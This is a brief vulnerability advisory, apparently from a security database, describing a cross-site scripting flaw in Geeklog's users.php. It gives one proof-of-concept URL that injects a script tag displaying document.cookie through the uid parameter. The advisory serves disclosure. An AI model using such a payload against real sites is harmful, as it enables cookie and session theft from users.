• info
• discussion
• exploit
• solution
• references

Geeklog Users.PHP Cross-Site Scripting Vulnerability

There is no exploit required. The following example was submitted:

http://www.example.com/users.php?mode=profile&uid=<script>alert(document.cookie)</script>